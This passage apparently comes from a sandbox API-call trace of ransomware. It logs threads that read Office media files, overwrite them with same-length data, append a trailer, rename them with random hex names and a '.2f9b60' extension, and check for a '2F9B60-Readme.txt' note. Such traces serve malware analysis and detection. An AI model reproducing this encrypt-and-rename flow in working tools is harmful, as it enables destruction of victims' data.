RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x60696cf9 [0115.257] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x45e8d275 [0115.257] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0xe6606b9 [0115.257] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x4ef226c2 [0115.257] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x2fc4b2b8 [0115.257] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x64bd4e5f [0115.257] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x4756b18d [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x71deaf88 [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x338c7207 [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x4584e6d5 [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x3d556081 [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x99e9469 [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x348e1b86 [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x3dada19 [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x6c7681f2 [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x1f350716 [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x15276f41 [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x2f5fa041 [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x3a17b310 [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x2b9e7697 [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x46f83fcb [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x43a23dab [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x7985ecd [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x49b8bb24 [0115.258] RtlRandomEx (in: Seed=0x38effa90 | out: Seed=0x38effa90) returned 0x3657f8a2 [0115.268] ReadFile (in: hFile=0x14b8, lpBuffer=0x2018c1b0, nNumberOfBytesToRead=0x1d3a, lpNumberOfBytesRead=0x38effa90, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesRead=0x38effa90*=0x1d3a, lpOverlapped=0x0) returned 1 [0115.300] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.300] WriteFile (in: hFile=0x14b8, lpBuffer=0x2016a520*, nNumberOfBytesToWrite=0x1d3a, lpNumberOfBytesWritten=0x38effa94, lpOverlapped=0x0 | out: lpBuffer=0x2016a520*, lpNumberOfBytesWritten=0x38effa94*=0x1d3a, lpOverlapped=0x0) returned 1 [0115.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263050 [0115.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0115.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261970) returned 1 [0115.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016a520) returned 1 [0115.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0115.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0115.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0115.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261970 [0115.316] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.316] WriteFile (in: hFile=0x14b8, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38effbb0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x38effbb0*=0x10a, lpOverlapped=0x0) returned 1 [0115.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0115.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8687c0 [0115.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0115.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261160) returned 1 [0115.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0115.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0115.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0115.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0115.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0115.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.318] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="24") returned 2 [0115.318] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="84") returned 2 [0115.318] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="ed") returned 2 [0115.318] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="6e") returned 2 [0115.318] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="4f") returned 2 [0115.318] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="b6") returned 2 [0115.318] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="53") returned 2 [0115.318] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="db") returned 2 [0115.318] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="39") returned 2 [0115.318] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="14") returned 2 [0115.319] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="5b") returned 2 [0115.319] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="6d") returned 2 [0115.319] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="28") returned 2 [0115.319] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="39") returned 2 [0115.319] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="bf") returned 2 [0115.319] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="c2") returned 2 [0115.319] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="bc") returned 2 [0115.319] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="67") returned 2 [0115.319] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="0a") returned 2 [0115.319] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="2a") returned 2 [0115.319] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="2a") returned 2 [0115.319] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="d4") returned 2 [0115.319] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="86") returned 2 [0115.319] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="3b") returned 2 [0115.319] RtlInitAnsiString (in: DestinationString=0x38effc28, SourceString="2484ed6e4fb653db39145b6d2839bfc2bc670a2a2ad4863b" | out: DestinationString="2484ed6e4fb653db39145b6d2839bfc2bc670a2a2ad4863b") [0115.319] RtlAnsiStringToUnicodeString (in: DestinationString=0x38effbf8, SourceString="2484ed6e4fb653db39145b6d2839bfc2bc670a2a2ad4863b", AllocateDestinationString=1 | out: DestinationString="2484ed6e4fb653db39145b6d2839bfc2bc670a2a2ad4863b") returned 0x0 [0115.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9860 [0115.319] wcscat (in: _Dest=0x1b7adac0, _Source="2484ed6e4fb6" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2484ed6e4fb6") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2484ed6e4fb6" [0115.319] wcscat (in: _Dest=0x1b7adac0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2484ed6e4fb6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2484ed6e4fb6.2f9b60" [0115.320] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2484ed6e4fb6.2f9b60", NtPathName=0x38effbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2484ed6e4fb6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050b8a0 [0115.320] NtSetInformationFile (FileHandle=0x14b8, IoStatusBlock=0x38effc70, FileInformation=0x2050b8a0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b8a0) returned 1 [0115.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47be0) returned 1 [0115.344] NtQueryInformationFile (in: FileHandle=0x14b8, IoStatusBlock=0x38effc38, FileInformation=0x38effc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x38effc38, FileInformation=0x38effc48) returned 0x0 [0115.344] NtSetInformationFile (FileHandle=0x14b8, IoStatusBlock=0x38effc38, FileInformation=0x38effc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 [0115.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0115.374] FlushFileBuffers (hFile=0x14b8) returned 1 [0115.380] CloseHandle (hObject=0x14b8) returned 1 [0115.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a3e0 [0115.394] wcscpy (in: _Dest=0x1b86a3e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.394] wcscat (in: _Dest=0x1b86a3e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a3e0) returned 1 [0115.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a620) returned 1 Thread: id = 1230 os_tid = 0xc80 [0115.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf")) returned 0x20 [0115.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF", dwFileAttributes=0x20) returned 1 [0115.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x149c [0115.178] GetFileSizeEx (in: hFile=0x149c, lpFileSize=0x3688fcc0 | out: lpFileSize=0x3688fcc0*=12600) returned 1 [0115.178] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x3134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.178] ReadFile (in: hFile=0x149c, lpBuffer=0x3688fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3688fc88, lpOverlapped=0x0 | out: lpBuffer=0x3688fc40*, lpNumberOfBytesRead=0x3688fc88*=0x4, lpOverlapped=0x0) returned 1 [0115.268] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0115.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0115.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d20 [0115.269] NtQuerySystemTime (in: CurrentTime=0x3688fb80 | out: CurrentTime=0x3688fb80*=132462177207358000) returned 0x0 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0xee83368 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x15f6611 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x6a55689b [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x2dee8635 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0xa796a66 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x5484dfa0 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x6a6882ee [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x674ad291 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x136b1547 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x6696410 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x7e924653 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x63a70bf8 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x663b2aca [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x4e64cf03 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x29bc489a [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x1e451e5b [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x66f0d187 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x49c788f1 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x33a2d2f [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x1cd7ff83 [0115.269] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x1ed069e1 [0115.270] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x42366eea [0115.270] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x3ab28485 [0115.270] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x62dbe140 [0115.270] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x6b73a0e6 [0115.270] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x26af5cfd [0115.270] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x613ca69e [0115.270] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x5816d80a [0115.270] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x36ca5791 [0115.270] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x521b20b4 [0115.270] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x11ea7579 [0115.270] RtlRandomEx (in: Seed=0x3688fb70 | out: Seed=0x3688fb70) returned 0x4dccde46 [0115.280] ReadFile (in: hFile=0x149c, lpBuffer=0x20162d00, nNumberOfBytesToRead=0x3138, lpNumberOfBytesRead=0x3688fb70, lpOverlapped=0x0 | out: lpBuffer=0x20162d00*, lpNumberOfBytesRead=0x3688fb70*=0x3138, lpOverlapped=0x0) returned 1 [0115.301] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.301] WriteFile (in: hFile=0x149c, lpBuffer=0x201885a0*, nNumberOfBytesToWrite=0x3138, lpNumberOfBytesWritten=0x3688fb74, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesWritten=0x3688fb74*=0x3138, lpOverlapped=0x0) returned 1 [0115.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d20 [0115.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0115.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261160) returned 1 [0115.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201885a0) returned 1 [0115.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20162d00) returned 1 [0115.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8688c0) returned 1 [0115.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0115.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261160 [0115.311] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.312] WriteFile (in: hFile=0x149c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3688fc90, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3688fc90*=0x10a, lpOverlapped=0x0) returned 1 [0115.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0115.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8688c0 [0115.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0115.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263830) returned 1 [0115.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0115.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0115.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626f0) returned 1 [0115.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8688c0) returned 1 [0115.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0115.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.314] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="85") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="17") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="05") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="1a") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="5b") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="f8") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="da") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="3f") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="a8") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="9d") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="3b") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="f8") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="f9") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="b5") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="d6") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="45") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="fc") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="44") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="34") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="3b") returned 2 [0115.314] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="4a") returned 2 [0115.315] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="44") returned 2 [0115.315] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="57") returned 2 [0115.315] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="59") returned 2 [0115.315] RtlInitAnsiString (in: DestinationString=0x3688fd08, SourceString="8517051a5bf8da3fa89d3bf8f9b5d645fc44343b4a445759" | out: DestinationString="8517051a5bf8da3fa89d3bf8f9b5d645fc44343b4a445759") [0115.315] RtlAnsiStringToUnicodeString (in: DestinationString=0x3688fcd8, SourceString="8517051a5bf8da3fa89d3bf8f9b5d645fc44343b4a445759", AllocateDestinationString=1 | out: DestinationString="8517051a5bf8da3fa89d3bf8f9b5d645fc44343b4a445759") returned 0x0 [0115.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9400 [0115.315] wcscat (in: _Dest=0x1b7ad840, _Source="8517051a5bf8" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8517051a5bf8") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8517051a5bf8" [0115.315] wcscat (in: _Dest=0x1b7ad840, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8517051a5bf8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8517051a5bf8.2f9b60" [0115.315] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8517051a5bf8.2f9b60", NtPathName=0x3688fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8517051a5bf8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b861b70 [0115.315] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x3688fd50, FileInformation=0x1b861b70, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861b70) returned 1 [0115.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0115.334] NtQueryInformationFile (in: FileHandle=0x149c, IoStatusBlock=0x3688fd18, FileInformation=0x3688fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3688fd18, FileInformation=0x3688fd28) returned 0x0 [0115.334] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x3688fd18, FileInformation=0x3688fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 [0115.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0115.346] FlushFileBuffers (hFile=0x149c) returned 1 [0115.350] CloseHandle (hObject=0x149c) returned 1 [0115.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a470 [0115.371] wcscpy (in: _Dest=0x1b86a470, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.371] wcscat (in: _Dest=0x1b86a470, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a470) returned 1 [0115.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a6b0) returned 1 Thread: id = 1231 os_tid = 0xca4 [0115.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf")) returned 0x20 [0115.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF", dwFileAttributes=0x20) returned 1 [0120.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d4 [0120.602] GetFileSizeEx (in: hFile=0x14d4, lpFileSize=0x3923fc20 | out: lpFileSize=0x3923fc20*=1990) returned 1 [0120.603] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x7c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.603] ReadFile (in: hFile=0x14d4, lpBuffer=0x3923fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3923fbe8, lpOverlapped=0x0 | out: lpBuffer=0x3923fba0*, lpNumberOfBytesRead=0x3923fbe8*=0x4, lpOverlapped=0x0) returned 1 [0121.334] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 